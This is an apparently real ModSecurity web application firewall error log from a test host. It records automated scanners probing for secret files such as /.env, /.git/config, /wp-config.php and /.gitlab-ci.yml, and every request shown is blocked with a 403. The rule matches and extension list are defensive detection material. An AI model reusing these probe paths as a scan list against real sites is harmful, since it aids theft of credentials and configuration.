[Sun Nov 16 02:42:25.279950 2025] [:error] [pid 99127] [client 195.178.110.201:60916] [client 195.178.110.201] ModSecurity: Warning. Matched phrase "/.git/" at REQUEST_FILENAME. [file "/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "124"] [id "930130"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.git/ found within REQUEST_FILENAME: /.git/config"] [severity "CRITICAL"] [ver "OWASP_CRS/3.2.0"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/.git/config"] [unique_id "aRksAfCKxhCFdX33Po67DgAAAAU"]
[Sun Nov 16 02:42:25.280365 2025] [:error] [pid 99127] [client 195.178.110.201:60916] [client 195.178.110.201] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "91"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/.git/config"] [unique_id "aRksAfCKxhCFdX33Po67DgAAAAU"]
[Sun Nov 16 02:42:25.280550 2025] [:error] [pid 99127] [client 195.178.110.201:60916] [client 195.178.110.201] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf"] [line "86"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0"] [tag "event-correlation"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/.git/config"] [unique_id "aRksAfCKxhCFdX33Po67DgAAAAU"]
[Sun Nov 16 02:42:25.516414 2025] [:error] [pid 99127] [client 195.178.110.201:60916] [client 195.178.110.201] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "124"] [id "930130"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /backend/.env"] [severity "CRITICAL"] [ver "OWASP_CRS/3.2.0"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/backend/.env"] [unique_id "aRksAfCKxhCFdX33Po67DwAAAAU"]
[Sun Nov 16 02:42:25.516820 2025] [:error] [pid 99127] [client 195.178.110.201:60916] [client 195.178.110.201] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "91"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/backend/.env"] [unique_id "aRksAfCKxhCFdX33Po67DwAAAAU"]
[Sun Nov 16 02:42:25.517009 2025] [:error] [pid 99127] [client 195.178.110.201:60916] [client 195.178.110.201] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf"] [line "86"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0"] [tag "event-correlation"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/backend/.env"] [unique_id "aRksAfCKxhCFdX33Po67DwAAAAU"]
[Sun Nov 16 02:42:26.799170 2025] [:error] [pid 99127] [client 195.178.110.201:60916] [client 195.178.110.201] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "124"] [id "930130"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /admin/.env"] [severity "CRITICAL"] [ver "OWASP_CRS/3.2.0"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/admin/.env"] [unique_id "aRksAvCKxhCFdX33Po67EAAAAAU"]
[Sun Nov 16 02:42:26.799573 2025] [:error] [pid 99127] [client 195.178.110.201:60916] [client 195.178.110.201] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "91"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/admin/.env"] [unique_id "aRksAvCKxhCFdX33Po67EAAAAAU"]
[Sun Nov 16 02:42:26.799788 2025] [:error] [pid 99127] [client 195.178.110.201:60916] [client 195.178.110.201] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf"] [line "86"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0"] [tag "event-correlation"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/admin/.env"] [unique_id "aRksAvCKxhCFdX33Po67EAAAAAU"]
[Sun Nov 16 02:42:27.136082 2025] [:error] [pid 99127] [client 195.178.110.201:60916] [client 195.178.110.201] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "124"] [id "930130"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /core/.env"] [severity "CRITICAL"] [ver "OWASP_CRS/3.2.0"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/core/.env"] [unique_id "aRksA_CKxhCFdX33Po67EQAAAAU"]
[Sun Nov 16 02:42:27.136500 2025] [:error] [pid 99127] [client 195.178.110.201:60916] [client 195.178.110.201] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "91"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/core/.env"] [unique_id "aRksA_CKxhCFdX33Po67EQAAAAU"]
[Sun Nov 16 02:42:27.137330 2025] [:error] [pid 99127] [client 195.178.110.201:60916] [client 195.178.110.201] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf"] [line "86"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0"] [tag "event-correlation"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/core/.env"] [unique_id "aRksA_CKxhCFdX33Po67EQAAAAU"]
[Sun Nov 16 02:42:27.476723 2025] [:error] [pid 99127] [client 195.178.110.201:60916] [client 195.178.110.201] ModSecurity: Warning. String match within ".asa/ .asax/ .ascx/ .axd/ .backup/ .bak/ .bat/ .cdx/ .cer/ .cfg/ .cmd/ .com/ .config/ .conf/ .cs/ .csproj/ .csr/ .dat/ .db/ .dbf/ .dll/ .dos/ .htr/ .htw/ .ida/ .idc/ .idq/ .inc/ .ini/ .key/ .licx/ .lnk/ .log/ .mdb/ .old/ .pass/ .pdb/ .pol/ .printer/ .pwd/ .rdb/ .resources/ .resx/ .sql/ .swp/ .sys/ .vb/ .vbs/ .vbproj/ .vsdisco/ .webinfo/ .xsd/ .xsx/" at TX:extension. [file "/usr/share/modsecurity-crs/rules/REQUEST-920-PROTOCOL-ENFORCEMENT.conf"] [line "997"] [id "920440"] [msg "URL file extension is restricted by policy"] [data ".bak"] [severity "CRITICAL"] [ver "OWASP_CRS/3.2.0"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-protocol"] [tag "OWASP_CRS"] [tag "OWASP_CRS/POLICY/EXT_RESTRICTED"] [tag "WASCTC/WASC-15"] [tag "OWASP_TOP_10/A7"] [tag "PCI/6.5.10"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/.env.bak"] [unique_id "aRksA_CKxhCFdX33Po67EgAAAAU"]
[Sun Nov 16 02:42:27.476914 2025] [:error] [pid 99127] [client 195.178.110.201:60916] [client 195.178.110.201] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "124"] [id "930130"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /.env.bak"] [severity "CRITICAL"] [ver "OWASP_CRS/3.2.0"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/.env.bak"] [unique_id "aRksA_CKxhCFdX33Po67EgAAAAU"]
[Sun Nov 16 02:42:27.477296 2025] [:error] [pid 99127] [client 195.178.110.201:60916] [client 195.178.110.201] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "91"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 10)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/.env.bak"] [unique_id "aRksA_CKxhCFdX33Po67EgAAAAU"]
[Sun Nov 16 02:42:27.477499 2025] [:error] [pid 99127] [client 195.178.110.201:60916] [client 195.178.110.201] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf"] [line "86"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 10 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 10, 0, 0, 0"] [tag "event-correlation"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/.env.bak"] [unique_id "aRksA_CKxhCFdX33Po67EgAAAAU"]
[Sun Nov 16 02:42:27.745800 2025] [:error] [pid 99127] [client 195.178.110.201:60916] [client 195.178.110.201] ModSecurity: Warning. Matched phrase "/.git/" at REQUEST_FILENAME. [file "/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "124"] [id "930130"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.git/ found within REQUEST_FILENAME: /.git/logs/head"] [severity "CRITICAL"] [ver "OWASP_CRS/3.2.0"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/.git/logs/HEAD"] [unique_id "aRksA_CKxhCFdX33Po67EwAAAAU"]
[Sun Nov 16 02:42:27.746200 2025] [:error] [pid 99127] [client 195.178.110.201:60916] [client 195.178.110.201] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "91"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/.git/logs/HEAD"] [unique_id "aRksA_CKxhCFdX33Po67EwAAAAU"]
[Sun Nov 16 02:42:27.746440 2025] [:error] [pid 99127] [client 195.178.110.201:60916] [client 195.178.110.201] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf"] [line "86"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0"] [tag "event-correlation"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/.git/logs/HEAD"] [unique_id "aRksA_CKxhCFdX33Po67EwAAAAU"]
[Sun Nov 16 02:42:28.037227 2025] [:error] [pid 99127] [client 195.178.110.201:60916] [client 195.178.110.201] ModSecurity: Warning. Matched phrase "wp-config.php" at REQUEST_FILENAME. [file "/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "124"] [id "930130"] [msg "Restricted File Access Attempt"] [data "Matched Data: wp-config.php found within REQUEST_FILENAME: /wp-config.php"] [severity "CRITICAL"] [ver "OWASP_CRS/3.2.0"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/wp-config.php"] [unique_id "aRksBPCKxhCFdX33Po67FAAAAAU"]
[Sun Nov 16 02:42:28.037624 2025] [:error] [pid 99127] [client 195.178.110.201:60916] [client 195.178.110.201] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "91"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/wp-config.php"] [unique_id "aRksBPCKxhCFdX33Po67FAAAAAU"]
[Sun Nov 16 02:42:28.037820 2025] [:error] [pid 99127] [client 195.178.110.201:60916] [client 195.178.110.201] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf"] [line "86"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0"] [tag "event-correlation"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/wp-config.php"] [unique_id "aRksBPCKxhCFdX33Po67FAAAAAU"]
[Sun Nov 16 02:42:28.326813 2025] [:error] [pid 99127] [client 195.178.110.201:60916] [client 195.178.110.201] ModSecurity: Warning. Matched phrase ".gitlab-ci.yml" at REQUEST_FILENAME. [file "/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "124"] [id "930130"] [msg "Restricted File Access Attempt"] [data "Matched Data: .gitlab-ci.yml found within REQUEST_FILENAME: /.gitlab-ci.yml"] [severity "CRITICAL"] [ver "OWASP_CRS/3.2.0"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/.gitlab-ci.yml"] [unique_id "aRksBPCKxhCFdX33Po67FQAAAAU"]
[Sun Nov 16 02:42:28.327198 2025] [:error] [pid 99127] [client 195.178.110.201:60916] [client 195.178.110.201] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "91"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/.gitlab-ci.yml"] [unique_id "aRksBPCKxhCFdX33Po67FQAAAAU"]
[Sun Nov 16 02:42:28.327387 2025] [:error] [pid 99127] [client 195.178.110.201:60916] [client 195.178.110.201] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf"] [line "86"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0"] [tag "event-correlation"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/.gitlab-ci.yml"] [unique_id "aRksBPCKxhCFdX33Po67FQAAAAU"]
[Sun Nov 16 03:10:55.095417 2025] [:error] [pid 103402] [client 45.148.10.246:34262] [client 45.148.10.246] ModSecurity: Warning. Matched phrase "/.git/" at REQUEST_FILENAME. [file "/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "124"] [id "930130"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.git/ found within REQUEST_FILENAME: /.git/logs/head"] [severity "CRITICAL"] [ver "OWASP_CRS/3.2.0"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/.git/logs/HEAD"] [unique_id "aRkyr1UTJuGd1tZl6jZ_ggAAAAQ"]
[Sun Nov 16 03:10:55.095650 2025] [:error] [pid 103402] [client 45.148.10.246:34262] [client 45.148.10.246] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "91"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/.git/logs/HEAD"] [unique_id "aRkyr1UTJuGd1tZl6jZ_ggAAAAQ"]
[Sun Nov 16 03:10:55.095799 2025] [:error] [pid 103402] [client 45.148.10.246:34262] [client 45.148.10.246] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf"] [line "86"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0"] [tag "event-correlation"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/.git/logs/HEAD"] [unique_id "aRkyr1UTJuGd1tZl6jZ_ggAAAAQ"]
[Sun Nov 16 03:10:55.096923 2025] [:error] [pid 103399] [client 45.148.10.246:34278] [client 45.148.10.246] ModSecurity: Warning. Matched phrase "/.git/" at REQUEST_FILENAME. [file "/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "124"] [id "930130"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.git/ found within REQUEST_FILENAME: /.git/index"] [severity "CRITICAL"] [ver "OWASP_CRS/3.2.0"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/.git/index"] [unique_id "aRkyr2i5HgwUxagZ6y7LGAAAAAE"]
[Sun Nov 16 03:10:55.097098 2025] [:error] [pid 103399] [client 45.148.10.246:34278] [client 45.148.10.246] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "91"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/.git/index"] [unique_id "aRkyr2i5HgwUxagZ6y7LGAAAAAE"]
[Sun Nov 16 03:10:55.097230 2025] [:error] [pid 103399] [client 45.148.10.246:34278] [client 45.148.10.246] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf"] [line "86"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0"] [tag "event-correlation"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/.git/index"] [unique_id "aRkyr2i5HgwUxagZ6y7LGAAAAAE"]
[Sun Nov 16 03:10:55.097700 2025] [:error] [pid 103401] [client 45.148.10.246:34276] [client 45.148.10.246] ModSecurity: Warning. Matched phrase "/.git/" at REQUEST_FILENAME. [file "/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "124"] [id "930130"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.git/ found within REQUEST_FILENAME: /.git/info/exclude"] [severity "CRITICAL"] [ver "OWASP_CRS/3.2.0"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/.git/info/exclude"] [unique_id "aRkyr75rejGDIGJeuSGFowAAAAM"]
[Sun Nov 16 03:10:55.097844 2025] [:error] [pid 103401] [client 45.148.10.246:34276] [client 45.148.10.246] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "91"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/.git/info/exclude"] [unique_id "aRkyr75rejGDIGJeuSGFowAAAAM"]
[Sun Nov 16 03:10:55.097972 2025] [:error] [pid 103401] [client 45.148.10.246:34276] [client 45.148.10.246] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf"] [line "86"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0"] [tag "event-correlation"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/.git/info/exclude"] [unique_id "aRkyr75rejGDIGJeuSGFowAAAAM"]
[Sun Nov 16 05:33:17.118370 2025] [:error] [pid 103446] [client 18.119.101.32:59650] [client 18.119.101.32] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "124"] [id "930130"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /.env"] [severity "CRITICAL"] [ver "OWASP_CRS/3.2.0"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/.env"] [unique_id "aRlUDU-c4YqyOTFJOSeIQAAAAAk"]
[Sun Nov 16 05:33:17.118643 2025] [:error] [pid 103446] [client 18.119.101.32:59650] [client 18.119.101.32] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "91"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/.env"] [unique_id "aRlUDU-c4YqyOTFJOSeIQAAAAAk"]
[Sun Nov 16 05:33:17.118838 2025] [:error] [pid 103446] [client 18.119.101.32:59650] [client 18.119.101.32] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf"] [line "86"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0"] [tag "event-correlation"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/.env"] [unique_id "aRlUDU-c4YqyOTFJOSeIQAAAAAk"]
[Sun Nov 16 05:33:17.125117 2025] [:error] [pid 103448] [client 18.119.101.32:59646] [client 18.119.101.32] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "124"] [id "930130"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /.env.local"] [severity "CRITICAL"] [ver "OWASP_CRS/3.2.0"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/.env.local"] [unique_id "aRlUDQbV20V557lJgw5yjwAAAAs"]
[Sun Nov 16 05:33:17.125335 2025] [:error] [pid 103448] [client 18.119.101.32:59646] [client 18.119.101.32] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "91"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/.env.local"] [unique_id "aRlUDQbV20V557lJgw5yjwAAAAs"]
